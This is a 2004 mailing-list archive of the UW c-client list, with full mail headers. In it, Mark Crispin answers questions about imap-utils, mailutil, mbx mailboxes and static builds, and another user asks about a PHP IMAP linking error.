shiva1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4K2R2eS004688; Wed, 19 May 2004 19:27:02 -0700 Message-Id: Date: Wed, 19 May 2004 19:27:02 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Thomas Smith Cc: c-client@u.washington.edu Subject: Re: imap-utils In-Reply-To: <34767.216.161.174.4.1085015204.squirrel@www.hpcaz.com> References: <34767.216.161.174.4.1085015204.squirrel@www.hpcaz.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 19 May 2004, Thomas Smith wrote: > It appears that imap-2001a was released in mid-2001 whereas imap-utils was > released in April of 2002. Are there any features introduced into the > current imap-utils that would make it incompatible with imap-2001a's > support of mbx? No, there isn't; however, imap-utils are obsolete having been replaced with software bundled with the IMAP toolkit (e.g. mailutil). -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Wed May 19 23:05:56 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 19 May 2004 23:05:56 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4K65uiE026620 for ; Wed, 19 May 2004 23:05:56 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4K65sFj009814 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 19 May 2004 23:05:54 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i4K64Nk4011708; Wed, 19 May 2004 23:04:23 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4K61g9H070848 for ; Wed, 19 May 2004 23:01:42 -0700 Received: from hpcaz.hpcaz.com (unionprogramsinc.com [69.94.33.142] (may be forged)) by mxe1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4K61eTh023733 for ; Wed, 19 May 2004 23:01:41 -0700 Received: from hpcaz.com (localhost.localdomain [127.0.0.1]) (authenticated (0 bits)) by hpcaz.hpcaz.com (8.11.6/8.11.6) with ESMTP id i4K61ZM09159; Wed, 19 May 2004 23:01:35 -0700 Received: from 207.225.166.210 (SquirrelMail authenticated user tsmith@hpcaz.com) by www.hpcaz.com with HTTP; Wed, 19 May 2004 23:01:35 -0700 (MST) Message-Id: <16584.207.225.166.210.1085032895.squirrel@www.hpcaz.com> Date: Wed, 19 May 2004 23:01:35 -0700 (MST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Thomas Smith" To: Cc: Subject: Re: imap-utils In-Reply-To: References: <34767.216.161.174.4.1085015204.squirrel@www.hpcaz.com> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 X-Uwash-Spam: Gauge=XI, Probability=11%, Report='PRIORITY_NO_NAME 0.716, __HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, __HAS_X_PRIORITY 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, MAY_BE_FORGED 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > On Wed, 19 May 2004, Thomas Smith wrote: >> It appears that imap-2001a was released in mid-2001 whereas imap-utils >> was released in April of 2002. Are there any features introduced into >> the current imap-utils that would make it incompatible with >> imap-2001a's support of mbx? > > No, there isn't; however, imap-utils are obsolete having been replaced > with software bundled with the IMAP toolkit (e.g. mailutil). At the risk of being redundant, imap-utils *will* work for imap-2001a and is *required* as it's not bundled with this version of UW IMAP? Further, current versions of UW-IMAP *do* include the obsolete imap-utils package (such as mailutil)? Which version of UW IMAP was imap-utils first merged with? Do newer versions of UW-IMAP require modifying the CREATEPROTO= variable in the osdeps Makefile? (This is suggested in the IMAP-FAQ.) (It may seem odd that I'm using an older version of UW IMAP. Fact is, I'm using a hosting provider running Ensim WEBppliance Pro on Redhat 7.3. They're currently testing more current versions of Ensim on Fedora Core 1--hopefully they'll roll it out soon as it uses more current versions of UW IMAP.) From pinedev@shivax2.cac.washington.edu Wed May 19 23:19:02 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 19 May 2004 23:19:02 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4K6J2Ya026921 for ; Wed, 19 May 2004 23:19:02 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4K6J0Qr010112 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Wed, 19 May 2004 23:19:00 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i4K6HMvl012026; Wed, 19 May 2004 23:17:22 -0700 Received: from mxu9.u.washington.edu (mxu9.u.washington.edu [140.142.32.174]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4K6F9i8116880 for ; Wed, 19 May 2004 23:15:09 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxu9.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i4K6F9B6028313 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 19 May 2004 23:15:09 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) by mxout1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4K6F8u2025791; Wed, 19 May 2004 23:15:08 -0700 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4K6F8WC008915; Wed, 19 May 2004 23:15:08 -0700 Message-Id: Date: Wed, 19 May 2004 23:15:08 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Thomas Smith Cc: c-client@u.washington.edu Subject: Re: imap-utils In-Reply-To: <16584.207.225.166.210.1085032895.squirrel@www.hpcaz.com> References: <34767.216.161.174.4.1085015204.squirrel@www.hpcaz.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 19 May 2004, Thomas Smith wrote: > At the risk of being redundant, imap-utils *will* work for imap-2001a Yes > and > is *required* as it's not bundled with this version of UW IMAP? No. You can use the modern programs (such as mailutil). > Further, current versions of UW-IMAP *do* include the obsolete imap-utils > package (such as mailutil)? Current versions of the UW IMAP toolkit include modern tools that replace the programs that were in imap-utils. > Which version of UW IMAP was imap-utils first merged with? imap-2002. > Do newer versions of UW-IMAP require modifying the CREATEPROTO= variable > in the osdeps Makefile? (This is suggested in the IMAP-FAQ.) If you want a different default for newly-created mailboxes, yes. > (It may seem odd that I'm using an older version of UW IMAP. Fact is, I'm > using a hosting provider running Ensim WEBppliance Pro on Redhat 7.3. > They're currently testing more current versions of Ensim on Fedora Core > 1--hopefully they'll roll it out soon as it uses more current versions of > UW IMAP.) Why can't you just install an updated version from the UW FTP server? -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Thu May 20 16:29:31 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 20 May 2004 16:29:31 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4KNTU4W018529 for ; Thu, 20 May 2004 16:29:30 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4KNTSsQ011436 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Thu, 20 May 2004 16:29:29 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i4KNRfGV016528; Thu, 20 May 2004 16:27:41 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4KNQY4E112528 for ; Thu, 20 May 2004 16:26:34 -0700 Received: from Homer.andis.mine.nu (Gdebc.g.pppool.de [80.185.222.188]) by mxe1.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4KNQWH0032752 for ; Thu, 20 May 2004 16:26:33 -0700 Received: from Homer.andis.mine.nu (localhost [127.0.0.1]) by Homer.andis.mine.nu (8.12.8/8.12.11) with ESMTP id i4KNNwNu026365 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO) for ; Fri, 21 May 2004 01:23:59 +0200 Received: (from root@localhost) by Homer.andis.mine.nu (8.12.8/8.12.8/Submit) id i4KNNuZo026364; Fri, 21 May 2004 01:23:56 +0200 Message-Id: <200405202323.i4KNNuZo026364@Homer.andis.mine.nu> Date: Fri, 21 May 2004 01:23:56 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Andi Schüler To: c-client@u.washington.edu Subject: c-client for imap support in php problem apache isn´t starting anymore MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="bound1085095436" X-Originating-IP: 192.168.0.2 X-AntiVirus: checked by AntiVir Milter 1.0.6; AVE 6.25.0.59; VDF 6.25.0.73 X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __MIME_TEXT_ONLY 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN This is a multi-part message in MIME format. --bound1085095436 Content-Type: text/plain Content-Transfer-Encoding: 7bit Hi all, i´m trying to setup the webmailer "horde" from horde.org. I want to use "IMP" which needs imap support in php, so i compiled imap.tar.Z from ftp://ftp.cac.washington.edu/imap with "make slx", everything was fine. cd c-client cp c-client.a /usr/local/lib/libc-client.a cp rfc822.h, mail.h linkage.h /usr/local/include When i compiled php --with-imap and --with-imap-ssl i got no errors, everything went fine. But when i want to start/restart apache the following error occurs: Syntax error on line 242 of /usr/local/apache/conf/httpd.conf: Cannot load /usr/local/apache/libexec/libphp4.so into server: /usr/local/apache/libexec/libphp4.so: undefined symbol: RAND_seed I tried another (older) version of c-client, then i get an error like: Syntax error on line 242 of /usr/local/apache/conf/httpd.conf: Cannot load /usr/local/apache/libexec/libphp4.so into server: /usr/local/apache/libexec/libphp4.so: undefined symbol: mmdfdriver What can i do? Where is the problem? Where is my fault? What do i have to do to get this working? Thanks andi Slackware 8.1, 2.4.21, php 4.2.3, imap-2004, openssl-0.9.7d --bound1085095436-- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun May 23 12:42:23 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 23 May 2004 12:42:23 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4NJgMAS029475 for ; Sun, 23 May 2004 12:42:22 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4NJgKSL023691 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 23 May 2004 12:42:21 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i4NJfqSZ013348; Sun, 23 May 2004 12:41:52 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4NJdqH2019582 for ; Sun, 23 May 2004 12:39:53 -0700 Received: from hpcaz.hpcaz.com (openadventures.org [69.94.33.142]) by mxu4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4NJdo3t025456 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 23 May 2004 12:39:51 -0700 Received: from hpcaz.com (localhost.localdomain [127.0.0.1]) (authenticated (0 bits)) by hpcaz.hpcaz.com (8.11.6/8.11.6) with ESMTP id i4NJcXM15012; Sun, 23 May 2004 12:38:33 -0700 Received: from 207.225.166.210 (SquirrelMail authenticated user tsmith@hpcaz.com) by www.hpcaz.com with HTTP; Sun, 23 May 2004 12:38:34 -0700 (MST) Message-Id: <18149.207.225.166.210.1085341114.squirrel@www.hpcaz.com> Date: Sun, 23 May 2004 12:38:34 -0700 (MST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Thomas Smith" To: Cc: Subject: Re: imap-utils MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 X-Uwash-Spam: Gauge=XI, Probability=11%, Report='PRIORITY_NO_NAME 0.716, __SANE_MSGID 0, __TO_MALFORMED_2 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, __HAS_X_PRIORITY 0, __NEW_DOMAIN_EXTENSIONS_2 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, __HAS_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > On Wed, 19 May 2004, Thomas Smith wrote: >> At the risk of being redundant, imap-utils *will* work for imap-2001a > > Yes > >> and >> is *required* as it's not bundled with this version of UW IMAP? > > No. You can use the modern programs (such as mailutil). How do I get mailutil seperate from UW IMAP? I've looked at the FTP site and can only find imap-utils. >> Do newer versions of UW-IMAP require modifying the CREATEPROTO= >> variable in the osdeps Makefile? (This is suggested in the IMAP-FAQ.) > > If you want a different default for newly-created mailboxes, yes. Does this mean that mbx-formatted mailboxes will have to be manually enabled for each user account that's created if this value does not default to mbx? Is there a way to set the default in some other way? (I don't have access to the source from my hosting provider--see below for more info on this.) >> (It may seem odd that I'm using an older version of UW IMAP. Fact is, >> I'm using a hosting provider running Ensim WEBppliance Pro on Redhat >> 7.3. They're currently testing more current versions of Ensim on >> Fedora Core 1--hopefully they'll roll it out soon as it uses more >> current versions of UW IMAP.) > > Why can't you just install an updated version from the UW FTP server? Ensim uses a proprietary API that enables UW IMAP to chroot to a domains' "root" directory. (Every domain has its own chroot environment. Their setup thus enables every domain to have their own /etc/passwd, /etc/group, /etc/procmailrc, and so on.) My concern is twofold: 1) In order to upgrade their UW IMAP install, I'd have to install the new RPMs on the host server (which is dedicated to me), update existing domains' chroot environments, and update the template filesystem so that the new, current UW IMAP binaries are copied and/or hardlinked to newly created domains. 2) Some users have experienced problems after enabling maildir support on their accounts. The problems typically occurred after Ensim upgrades and/or updates and, in most cases, caused wierd mail problems such as the server no longer understood maildirs and started writing files to mbox. This isn't a good senerio for a production environment. My goal is to enable a more efficient mailbox protocol than mbox while making as few server modifications as possible. I have yet to implement the mbx protocol so I'm not certain what changes need to be made to an account to enable it. It appears to me that there are only a couple, though. From pinedev@shivax2.cac.washington.edu Sun May 23 15:12:41 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 23 May 2004 15:12:41 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4NMCfZH001297 for ; Sun, 23 May 2004 15:12:41 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4NMCdiH026913 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 23 May 2004 15:12:39 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i4NMBp3U012282; Sun, 23 May 2004 15:11:52 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4NMA4GG019586 for ; Sun, 23 May 2004 15:10:04 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxi2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i4NMA3Rl023886 for ; Sun, 23 May 2004 15:10:03 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) by mxout4.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4NMA2Cw018870; Sun, 23 May 2004 15:10:02 -0700 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4NMA2O6000686; Sun, 23 May 2004 15:10:02 -0700 Message-Id: Date: Sun, 23 May 2004 15:10:02 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Thomas Smith Cc: c-client@u.washington.edu Subject: Re: imap-utils In-Reply-To: <18149.207.225.166.210.1085341114.squirrel@www.hpcaz.com> References: <18149.207.225.166.210.1085341114.squirrel@www.hpcaz.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, __NEW_DOMAIN_EXTENSIONS_2 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 23 May 2004, Thomas Smith wrote: > How do I get mailutil seperate from UW IMAP? I've looked at the FTP site > and can only find imap-utils. mailutil is bundled with the UW IMAP toolkit. Note that the old imap-utils distribution required the UW IMAP toolkit; it would not build without it. > Does this mean that mbx-formatted mailboxes will have to be manually > enabled for each user account that's created if this value does not > default to mbx? If the software is built in its default configuration, the default format for newly-created mailboxes is traditional UNIX format and not mbx. This is only if you do not specify a format when creating the mailbox. You can always force a format by specifying it, e.g. mailutil create #driver.mbx/example which will create an mbx-format mailbox named "example". Note that the #driver.mbx/ prefix is only used when creating the mailbox, and not when accessing it. > Ensim uses a proprietary API that enables UW IMAP to chroot to a domains' > "root" directory. (Every domain has its own chroot environment. Their > setup thus enables every domain to have their own /etc/passwd, /etc/group, > /etc/procmailrc, and so on.) It sounds like you have to look to Ensim for support, since they have apparently modified the software and it seems that you need those modifications (so switching to unmodified UW distributions is probably not an option). I don't know what the Ensim customizations are; and I generally advise people to upgrade to the current UW distribution to make sure we are on the same wavelength. If all you want to do is just get mailutil installed without tampering with your existing Ensim software, I would suggest getting a copy of unmodified UW IMAP to build mailutil, and once you get a mailutil binary you can toss out everything else. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Sun May 23 17:06:31 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 23 May 2004 17:06:31 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4O06V9x004640 for ; Sun, 23 May 2004 17:06:31 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4O06T44029402 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 23 May 2004 17:06:29 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i4O067o0008618; Sun, 23 May 2004 17:06:07 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4O0545w056680 for ; Sun, 23 May 2004 17:05:04 -0700 Received: from hpcaz.hpcaz.com (hpcaz.hpcaz.com [69.94.33.142]) by mxu2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4O052J6010233 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Sun, 23 May 2004 17:05:03 -0700 Received: from hpcaz.com (localhost.localdomain [127.0.0.1]) (authenticated (0 bits)) by hpcaz.hpcaz.com (8.11.6/8.11.6) with ESMTP id i4O03eM10475; Sun, 23 May 2004 17:03:40 -0700 Received: from 207.225.166.210 (SquirrelMail authenticated user tsmith@hpcaz.com) by www.hpcaz.com with HTTP; Sun, 23 May 2004 17:03:40 -0700 (MST) Message-Id: <18589.207.225.166.210.1085357020.squirrel@www.hpcaz.com> Date: Sun, 23 May 2004 17:03:40 -0700 (MST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Thomas Smith" To: Cc: Subject: Re: imap-utils In-Reply-To: References: <18149.207.225.166.210.1085341114.squirrel@www.hpcaz.com> MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-Priority: 3 X-Uwash-Spam: Gauge=XI, Probability=11%, Report='PRIORITY_NO_NAME 0.716, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __EVITE_CTYPE 0, __CT_TEXT_PLAIN 0, __CT 0, __CTE 0, __HAS_X_PRIORITY 0, __NEW_DOMAIN_EXTENSIONS_2 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, __HAS_MSGID 0, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN > On Sun, 23 May 2004, Thomas Smith wrote: >> Ensim uses a proprietary API that enables UW IMAP to chroot to a >> domains' "root" directory. (Every domain has its own chroot >> environment. Their setup thus enables every domain to have their own >> /etc/passwd, /etc/group, /etc/procmailrc, and so on.) > > It sounds like you have to look to Ensim for support, since they have > apparently modified the software and it seems that you need those > modifications (so switching to unmodified UW distributions is probably > not an option). > > I don't know what the Ensim customizations are; and I generally advise > people to upgrade to the current UW distribution to make sure we are on > the same wavelength. I've looked into this. It is possible to do--it just takes some work. I may just write a howto so users with large, slow mboxes (or those who rely heavliy on IMAP-based webmail) can convert to the mbx format themselves and create new mbx mailboxes--if they choose. > If all you want to do is just get mailutil installed without tampering > with your existing Ensim software, I would suggest getting a copy of > unmodified UW IMAP to build mailutil, and once you get a mailutil binary > you can toss out everything else. This should be easy enough. I've already got the current UW IMAP installed on a server that I'd planned on using for testing. I do have one question here, though. There are some minor library differences between RH 7.3 and current Linux distros--mailutil requires some of the newer libraries. I've looked through the BUILD and CONFIG docs and haven't found a way to build a statically linked mailutil--can you suggest a way to do this? From pinedev@shivax2.cac.washington.edu Sun May 23 17:41:27 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 23 May 2004 17:41:27 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4O0fRZc005640 for ; Sun, 23 May 2004 17:41:27 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4O0fPc0030215 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Sun, 23 May 2004 17:41:25 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with SMTP id i4O0fDF3018252; Sun, 23 May 2004 17:41:14 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4O0eTJE124104 for ; Sun, 23 May 2004 17:40:29 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxi2.u.washington.edu (8.12.11+UW04.02/8.12.11+UW04.05) with ESMTP id i4O0eSlP024855 for ; Sun, 23 May 2004 17:40:28 -0700 Received: from shiva1.cac.washington.edu (shiva1.cac.washington.edu [140.142.37.171]) by mxout4.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4O0eR5V027306; Sun, 23 May 2004 17:40:28 -0700 Received: from localhost (mrc@localhost) by shiva1.cac.washington.edu (8.12.11+UW04.02/8.12.11+UW04.03) with ESMTP id i4O0eR6c003581; Sun, 23 May 2004 17:40:27 -0700 Message-Id: Date: Sun, 23 May 2004 17:40:27 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: Thomas Smith Cc: c-client@u.washington.edu Subject: Re: imap-utils In-Reply-To: <18589.207.225.166.210.1085357020.squirrel@www.hpcaz.com> References: <18149.207.225.166.210.1085341114.squirrel@www.hpcaz.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIIII, Probability=8%, Report='__HAS_MSGID 0, __SANE_MSGID 0, __TO_MALFORMED_2 0, __IN_REP_TO 0, __REFERENCES 0, __MIME_VERSION 0, __CT_TEXT_PLAIN 0, __CT 0, EMAIL_ATTRIBUTION 0, QUOTED_EMAIL_TEXT 0, __MIME_TEXT_ONLY 0, REFERENCES 0.000, IN_REP_TO 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Sun, 23 May 2004, Thomas Smith wrote: > I've looked through the BUILD and CONFIG docs > and haven't found a way to build a statically linked mailutil--can you > suggest a way to do this? -static is what normally is needed for the Linux linker, so you would do something like: make lrh EXTRALDFLAGS=-static -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue May 25 13:42:32 2004 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 25 May 2004 13:42:32 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu 